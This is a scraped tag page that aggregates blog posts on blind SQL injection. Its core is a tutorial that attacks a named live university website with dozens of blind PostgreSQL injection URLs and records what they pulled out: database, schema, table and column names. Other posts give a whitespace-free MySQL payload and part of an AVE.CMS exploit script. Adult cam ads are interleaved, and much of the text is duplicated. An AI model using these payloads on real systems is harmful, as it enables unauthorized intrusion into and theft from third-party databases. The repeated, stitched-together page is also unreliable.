Top Posts Tagged with #blind sql injection

Appreciative Advanced Blind SQLI Attack

by Megha Yadav | Ms. Shalini Bhadola | Ms. Kirti Bhatia | Rohini Sharma "Appreciative Advanced Blind SQLI Attack"

Published in International Journal of Trend in Scientific Research and Development (ijtsrd), ISSN: 2456-6470, Volume-5 | Issue-5 , August 2021,

URL: https://www.ijtsrd.com/papers/ijtsrd46336.pdf

Paper URL: https://www.ijtsrd.com/computer-science/database/46336/appreciative-advanced-blind-sqli-attack/megha-yadav

callforpaperpharmacy, pharmacyjournal, internationalpeerreviewedjournal

#Enhanced SQL Injection #Blind SQL Injection #Regular expressions attack

•18+ Adults Only

Watch Anya Live on Cam

Anya is live and ready to show you everything. Watch her strip, dance, and perform exclusive shows just for you. Interact in real-time and make your fantasies come true.

✓ Live Streaming✓ Interactive Chat✓ Private Shows✓ HD Quality

Anya is LIVE right now

FREE

Free to watch • No registration required • HD streaming

¿CÓMO HACER FÁCILMENTE INJECCION DE BLIND SQL CON BBQSQL?

Blind SQL injection es casi idéntica a la inyección normal de SQL y afecta a la seguridad en base de datos, la única diferencia es la forma en que los datos se recuperan de la base de datos. Cuando la base de datos no genera datos en la página web, un atacante se ve obligado a robar datos pidiendo a la base de datos una serie de preguntas verdaderas o falsas.

Blind SQL injection puede ser un…

View On WordPress

#BBQSQL #Blind SQL injection #seguridad en base de datos

Blind Sql Injection

There’s a lot to learn, it took me some time to get things working just fine. We have a live target: http://www.must.edu.eg/Report/College_TT.php?College_Id=7

This tutorial consists on letting you know everything you have to know about Postgresql Sql Injection and much more when it comes to Blind Postgresql Sql Injection. I tried to Sql Inject this target using Popular tools such as Havij and Sqlmap but their failed Take your time to read, it’s kind of confusing if you’re not familiar with Postgresql but I did add a lot of information in here that should be really useful to everyone.

Getting the Version:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT SUBSTR((SELECT version()),1,1))=CHAR(80)

The pages loads just fine which means that the first letter of version() is=Char(80)=P which is the first letter of Postgresql.

Simple Part:

This part stands for simplicity. It’s based on retrieving data from our Current Database and nothing else.

Getting the Current Database’s Length:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT LENGTH(current_database()))> 10 (Error)

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT LENGTH(current_database()))= 7 (No Error)

Which means that the length of our Current Database is 7.

Getting the Current Database’s name:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT current_database()),1,1))) > 114 (No Error)

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT current_database()),1,1))) > 115 (Error)

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT current_database()),1,1))) = 115 (No Error)

Which means that our first Character is 115=s

TIP: To find the other characters you just have to change 1,1 to 2,1(If you don’t know why then you might want to check this link out: http://www.postgresql.org/docs/9.1/static/functions-string.html; that’s how the substr functions works.)

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT current_database()),2,1))) = 105 (No Error)

2nd character 105 = i 3rd character 115 = s 4th character 95 = _ 5th character 114 = r 6th character 101 = e 7th character 103 = g

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT current_database()),8,1))) > 0 (Error)

Why? Because the length of the database is 7 and you’re looking for the 8th character which makes no sense. So we just found our full Current Database which is = sis_reg

TIP: pg_database is a list that contains all the Databases.

Making sure we got the Right Database:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT current_database()) = (SELECT CHR(115)||CHR(105)||CHR(115)||CHR(95)||CHR(114)||CHR(101)||CHR(103))

This is simple, if the page loads normally then this means that current_database() = sis_reg. The page Loads with No Error which means we found the right characters and the right database.

Getting First Table from our Current Database:

So we are only going to find the First Table of our Current Database which is: sis_reg

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 0),1,1)))>120 (Error)

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 0),1,1)))=118 (No Error)

TIP: If this doesn’t work then use the following:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=current_schema() LIMIT 1 OFFSET 0),1,1)))>0

It is the same but we just added table_schema=current_schema() to inform the database that we are requesting tables from that specific schema. 1st character 118 = v 2nd character 105 = i 3rd character 101 = e 4th character 119 = w 5th character 115 = s

Getting First Column from our Current Database’s First Table:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT column_name FROM information_schema.columns where table_name=CHR(118)||CHR(105)||CHR(101)||CHR(119)||CHR(115) LIMIT 1 OFFSET 0),1,1)))>118 (Error)

1st character 116 = t 2nd character 97 = a 3rd character 98 = b 4th character 108 = l 5th character 101 = e 6th character 95 = _ 7th character 99 = c 8th character 97 = a 9th character 116 = t 10th character 97 = a 11th character 108 = l 12th character 111 = o 13th character 103 = g The First Column of our Current Database’s First Table is: table_catalog

Retrieving Data:

(Check the end of the Detailed Part of this Tutorial to know how to retrieve Data the right way)

Detailed Part:

This part is all about detailed which will allow us to actually completely inject the website and retrieve everything we can find. Okay, so in the First Part, we only worked on getting the Current Database and to retrieving data from it but what if the Website has Lots of Database and the Information you’re looking for cannot be found in the Current Database? In this case, you have to follow this Part. This part is all about Finding All the Databases, Schemas, Tables, Columns etc… It’s kind complicated so you have focus on it.

Firstly, we have to see how many Database there is:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database LIMIT 1 OFFSET 15),1,1)))>0 (No Error)

So we’re checking if the 15th database has a NOT NULL first character and it does.

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database LIMIT 1 OFFSET 18),1,1)))>0 (Error)

So I checked it out and I realized that there is exactly 18 databases.

Anyways, lets try and get the name of the First Database:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database LIMIT 1 OFFSET 0),1,1)))>90 (Error)

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database LIMIT 1 OFFSET 0),1,1)))=100 (No Error)

So we’re trying to get the first character of the first database name that can be found in pg_database. 1st character 100 = d 2nd character 100 = d

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database LIMIT 1 OFFSET 0),3,1)))>1 (Error) Which means that there is no 3rd character.

Making sure we got the Right Database:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT (LENGTH((SELECT datname FROM pg_database LIMIT 1 OFFSET 0))))=2 (No Error) Our first database's name is "dd".

Getting Tables from our First Database:

So we are only going to find the Tables of our First Database which is: dd And to do that we need to get into lots of trouble/ Firstly, you should know that each Database creates multiply Schemas in which tables are put in. In MySql Injections things are easier because you don’t really care as much as you do in Postgresql about Schemas. In Postgresql, you have to find the Schema Name and the Database Name if you want to retrieve your specific Table.(You will understand better if you keep reading)

So firstly, we have to get the name of The First Schema that can be found in “dd”:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT schema_name FROM information_schema.schemata WHERE catalog_name=CHR(100)||CHR(100) LIMIT 1 OFFSET 0),1,1)))>0 (Error)

TIP: Before we move on, you have to know that catalog_name stands for the name of the database. Now in our case, our First Database “dd” has no tables. So for the Sick of Knowledge we’re going to do everything on our Current Database which is sis_reg because in this Tutorial I don’t want to go ahead and find our Second Database.

1st character of our First Schema 112 = p 2nd character of our First Schema 103 = g 3rd character of our First Schema 95 = _ 4th character of our First Schema 116 = t 5th character of our First Schema 101 = e 6th character of our First Schema 109 = m 7th character of our First Schema 112 = p 8th character of our First Schema 95 = _ 9th character of our First Schema 51 = 3 10th character of our First Schema 57 = 9 Our first Schema Name is: pg_temp_39

And for the Second Schema:

As you can see we just increase our OFFSET from 0 to 1. We go no error, this means it does exists but I am not going to retrieve it; it really takes a long time to get all the characters. My point is proven, now you know what to do if you want the rest of the Schemas. Anyways, to continue this tutorial and to teach you more about “playarounds” in Blind Postgre Sql Injection, I am going to find the Current Schema in our Default Database and keep moving forward while using it.

Getting the Current Schema of our Default Database:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT current_schema() FROM information_schema.schemata WHERE catalog_name=current_database() LIMIT 1 OFFSET 0),1,1)))=112 (No Error)

As you can see, we replace schema_name with current_schema() and we made our catalog_name=current_database(). 1st character 112 = p 2nd character 117 = u 3rd character 98 = b 4th character 108 = l 5th character 105 = i 6th character 99 = c Current Schema of our Default Database is: public

Getting First Table from Our Current Schema:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99) LIMIT 1 OFFSET 0),1,1)))>120 (Error)

1st character 116 = t 2nd character 116 = t 3rd character 95 = _ 4th character 99 = c 5th character 111 = o 6th character 117 = u 7th character 114 = r 8th character 115 = s 9th character 101 = e 10th character 115 = s 11th character 95 = _ 12th character 108 = l 13th character 111 = o 14th character 99 = c 15th character 97 = a 16th character 116 = t 17th character 105 = i 18th character 111 = 0 19th character 110 = n 20th character 115 = s 21th character 95 = _ 22th character 97 = a 23th character 108 = l 24th character 108 = l 25th character 95 = _ 26th character 115 = s 27th character 101 = e 28th character 109 = m 29th character 101 = e 30th character 115 = s 31th character 116 = t 32th character 101 = e 33th character 114 = r 34th character 115 = s 35th character 95 = _ 36th character 116 = t 37th character 98 = b 38th character 108 = l 39th character 48 = 0 We got this: tt_courses_locations_all_semesters_tbl0

Getting First Column from Our First Table in Current Schema:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND ascii(SUBSTR((SELECT column_name from information_schema.columns WHERE table_name=CHR(116)||CHR(116)||CHR(95)||CHR(99)||CHR(111)||CHR(117)||CHR(114)||CHR(115)||CHR(101)||CHR(115)||CHR(95)||CHR(108)||CHR(111)||CHR(99)||CHR(97)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(115)||CHR(95)||CHR(97)||CHR(108)||CHR(108)||CHR(95)||CHR(115)||CHR(101)||CHR(109)||CHR(101)||CHR(115)||CHR(116)||CHR(101)||CHR(114)||CHR(115)||CHR(95)||CHR(116)||CHR(98)||CHR(108)||CHR(48) and table_schema=current_schema() LIMIT 1 OFFSET 0),1,1))>120 (Error)

1st character 115 = s 2nd character 117 = u 3rd character 98 = b 4th character 106 = j 5th character 101 = e 6th character 99 = c 7th character 116 = t 8th character 95 = _ 9th character 105 = i 10th character 100 = d So the name of our First Column from Our First Table in Current Schema is: subject_id If you are working with something other than current_schema then you obviously just have to replace current_schema() with the Oracle CHR of your Schema Name.

Retrieving Data from that Column:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT subject_id FROM tt_courses_locations_all_semesters_tbl0 LIMIT 1 OFFSET 0),1,1))) > 0 (No Error)

TIP: If this didn’t work then use the following more detailed query:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT subject_id FROM sis_reg.public.tt_courses_locations_all_semesters_tbl0 LIMIT 1 OFFSET 0),1,1))) > 0

As you can see we replaced the simple tt_courses_location_all_semesters_tbl0 by sis_reg.public.tt_courses_locations_all_semesters_tbl0 which stands for database.schema.table and that’s exactly what you should be using if you’re trying to extract data from different databases/schemas/tables instead of the current ones. (I won’t be retrieving data even thought we’re just retrieving IDs. This tutorial was made for Educational Purposes Only; the Webmaster of Must.Edu.Eg will soon be informed about this vulnerability and about the way of fixing it)

I guess that’s it. I know doing this takes a very long time, much more than a Mysql Blind Sql Injection because there’s many extra things you should worry about.

#Blind Sql Injection #sql Injection #sql #injection #blind

AVE.CMS 2.09 Blind SQL Injection

#!/usr/bin/env python import urllib, sys, time ####################################################################################### # Exploit Title: AVE.CMS

View Post

#0day #AVE #AVE.CMS #BLIND SQL INJECTION #CMS #exploit #Metasploit #PHP #remote #security #Sicurezza #SQL injection #SQL-I #unix #VULNERABILITIES #VULNERABILITY #WEBAPPS

Blind SQL Injection without White Spaces

So, you just found out that doing www.example.com?id=1' throws a nice mysql error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''id=1'' ORDER BY page_id desc LIMIT 1' at line 1

Happy, well not yet!

Looking closely at the error and taking out just the output between near .... at line 1

'id=1'' ORDER BY page_id desc LIMIT 1

This means, no matter what I input, it will be placed between 'id=<myinput>'. Strange!

So to escape 'id=<myinput>' I tried, ?id=1' or '1'='1, and interestingly :

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''id=1'' ORDER BY page_id desc LIMIT 1' at line 1

And, more interestingly no mention of my beloved '1'='1, at this point I was basically angry.

I thought to myself, may be its removing the spaces, so I tried ?id=1'or'1'='1 and voila! no errors.

And moments laters, :(

Now, I had to create a query which can identify true and false condition AND with no white space.

[FAST FORWARD]

After a long list of tries, I got this :

/?id=1'or'1'=(SELECT(_utf8'.')=substring(@@version,X,1))and'1'='1

So, '.' is the placeholder for all the testing chars and X is the counter to rotate for all the chars of output. So, as we know if X=2 then output has to be '.' i.e TRUE condition. In this case, I got NO "page not found error" and if I tried something else in place of '.', I get "page not found error". Thats it! game over!

I wrote a quick perl script to iterate over all the output chars for all possible ascii printable chars. Profit!

Perl Script: http://pastebin.com/ixB5d90N

Output:

$ perl blind-version-test.pl

5.1.1-Ubuntu

#sql injection #blind sql injection

•18+ Adults Only

Watch Anya Live on Cam

Anya is live and ready to show you everything. Watch her strip, dance, and perform exclusive shows just for you. Interact in real-time and make your fantasies come true.

✓ Live Streaming✓ Interactive Chat✓ Private Shows✓ HD Quality

Anya is LIVE right now

FREE

Free to watch • No registration required • HD streaming

Appreciative Advanced Blind SQLI Attack

by Megha Yadav | Ms. Shalini Bhadola | Ms. Kirti Bhatia | Rohini Sharma "Appreciative Advanced Blind SQLI Attack"

Published in International Journal of Trend in Scientific Research and Development (ijtsrd), ISSN: 2456-6470, Volume-5 | Issue-5 , August 2021,

URL: https://www.ijtsrd.com/papers/ijtsrd46336.pdf

Paper URL: https://www.ijtsrd.com/computer-science/database/46336/appreciative-advanced-blind-sqli-attack/megha-yadav

callforpaperpharmacy, pharmacyjournal, internationalpeerreviewedjournal

#Enhanced SQL Injection #Blind SQL Injection #Regular expressions attack

•18+ Adults Only

Watch Anya Live on Cam

Anya is live and ready to show you everything. Watch her strip, dance, and perform exclusive shows just for you. Interact in real-time and make your fantasies come true.

✓ Live Streaming✓ Interactive Chat✓ Private Shows✓ HD Quality

Anya is LIVE right now

FREE

Free to watch • No registration required • HD streaming

¿CÓMO HACER FÁCILMENTE INJECCION DE BLIND SQL CON BBQSQL?

Blind SQL injection puede ser un…

View On WordPress

#BBQSQL #Blind SQL injection #seguridad en base de datos

Blind Sql Injection

There’s a lot to learn, it took me some time to get things working just fine. We have a live target: http://www.must.edu.eg/Report/College_TT.php?College_Id=7

Getting the Version:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT SUBSTR((SELECT version()),1,1))=CHAR(80)

The pages loads just fine which means that the first letter of version() is=Char(80)=P which is the first letter of Postgresql.

Simple Part:

This part stands for simplicity. It’s based on retrieving data from our Current Database and nothing else.

Getting the Current Database’s Length:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT LENGTH(current_database()))> 10 (Error)

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT LENGTH(current_database()))= 7 (No Error)

Which means that the length of our Current Database is 7.

Getting the Current Database’s name:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT current_database()),1,1))) > 114 (No Error)

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT current_database()),1,1))) > 115 (Error)

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT current_database()),1,1))) = 115 (No Error)

Which means that our first Character is 115=s

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT current_database()),2,1))) = 105 (No Error)

2nd character 105 = i 3rd character 115 = s 4th character 95 = _ 5th character 114 = r 6th character 101 = e 7th character 103 = g

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT current_database()),8,1))) > 0 (Error)

Why? Because the length of the database is 7 and you’re looking for the 8th character which makes no sense. So we just found our full Current Database which is = sis_reg

TIP: pg_database is a list that contains all the Databases.

Making sure we got the Right Database:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT current_database()) = (SELECT CHR(115)||CHR(105)||CHR(115)||CHR(95)||CHR(114)||CHR(101)||CHR(103))

This is simple, if the page loads normally then this means that current_database() = sis_reg. The page Loads with No Error which means we found the right characters and the right database.

Getting First Table from our Current Database:

So we are only going to find the First Table of our Current Database which is: sis_reg

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 0),1,1)))>120 (Error)

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 0),1,1)))=118 (No Error)

TIP: If this doesn’t work then use the following:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=current_schema() LIMIT 1 OFFSET 0),1,1)))>0

Getting First Column from our Current Database’s First Table:

Retrieving Data:

(Check the end of the Detailed Part of this Tutorial to know how to retrieve Data the right way)

Detailed Part:

Firstly, we have to see how many Database there is:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database LIMIT 1 OFFSET 15),1,1)))>0 (No Error)

So we’re checking if the 15th database has a NOT NULL first character and it does.

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database LIMIT 1 OFFSET 18),1,1)))>0 (Error)

So I checked it out and I realized that there is exactly 18 databases.

Anyways, lets try and get the name of the First Database:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database LIMIT 1 OFFSET 0),1,1)))>90 (Error)

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database LIMIT 1 OFFSET 0),1,1)))=100 (No Error)

So we’re trying to get the first character of the first database name that can be found in pg_database. 1st character 100 = d 2nd character 100 = d

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database LIMIT 1 OFFSET 0),3,1)))>1 (Error) Which means that there is no 3rd character.

Making sure we got the Right Database:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT (LENGTH((SELECT datname FROM pg_database LIMIT 1 OFFSET 0))))=2 (No Error) Our first database's name is "dd".

Getting Tables from our First Database:

So firstly, we have to get the name of The First Schema that can be found in “dd”:

And for the Second Schema:

Getting the Current Schema of our Default Database:

Getting First Table from Our Current Schema:

Getting First Column from Our First Table in Current Schema:

Retrieving Data from that Column:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT subject_id FROM tt_courses_locations_all_semesters_tbl0 LIMIT 1 OFFSET 0),1,1))) > 0 (No Error)

TIP: If this didn’t work then use the following more detailed query:

http://www.must.edu.eg/Reports/College_TT.php?College_Id=7 AND (SELECT ascii(SUBSTR((SELECT subject_id FROM sis_reg.public.tt_courses_locations_all_semesters_tbl0 LIMIT 1 OFFSET 0),1,1))) > 0

I guess that’s it. I know doing this takes a very long time, much more than a Mysql Blind Sql Injection because there’s many extra things you should worry about.

#Blind Sql Injection #sql Injection #sql #injection #blind

AVE.CMS 2.09 Blind SQL Injection

#!/usr/bin/env python import urllib, sys, time ####################################################################################### # Exploit Title: AVE.CMS

View Post

#0day #AVE #AVE.CMS #BLIND SQL INJECTION #CMS #exploit #Metasploit #PHP #remote #security #Sicurezza #SQL injection #SQL-I #unix #VULNERABILITIES #VULNERABILITY #WEBAPPS

Blind SQL Injection without White Spaces

So, you just found out that doing www.example.com?id=1' throws a nice mysql error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''id=1'' ORDER BY page_id desc LIMIT 1' at line 1

Happy, well not yet!

Looking closely at the error and taking out just the output between near .... at line 1

'id=1'' ORDER BY page_id desc LIMIT 1

This means, no matter what I input, it will be placed between 'id=<myinput>'. Strange!

So to escape 'id=<myinput>' I tried, ?id=1' or '1'='1, and interestingly :

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''id=1'' ORDER BY page_id desc LIMIT 1' at line 1

And, more interestingly no mention of my beloved '1'='1, at this point I was basically angry.

I thought to myself, may be its removing the spaces, so I tried ?id=1'or'1'='1 and voila! no errors.

And moments laters, :(

Now, I had to create a query which can identify true and false condition AND with no white space.

[FAST FORWARD]

After a long list of tries, I got this :

/?id=1'or'1'=(SELECT(_utf8'.')=substring(@@version,X,1))and'1'='1

I wrote a quick perl script to iterate over all the output chars for all possible ascii printable chars. Profit!

Perl Script: http://pastebin.com/ixB5d90N

Output:

$ perl blind-version-test.pl

5.1.1-Ubuntu

#sql injection #blind sql injection

•18+ Adults Only

Watch Anya Live on Cam

Anya is live and ready to show you everything. Watch her strip, dance, and perform exclusive shows just for you. Interact in real-time and make your fantasies come true.

✓ Live Streaming✓ Interactive Chat✓ Private Shows✓ HD Quality

Anya is LIVE right now

FREE

Free to watch • No registration required • HD streaming

Top Posts Tagged with #blind sql injection | Tumlook

Trending Tags

Last Seen Tags

#blind sql injection

Trending Tags

Last Seen Tags

#blind sql injection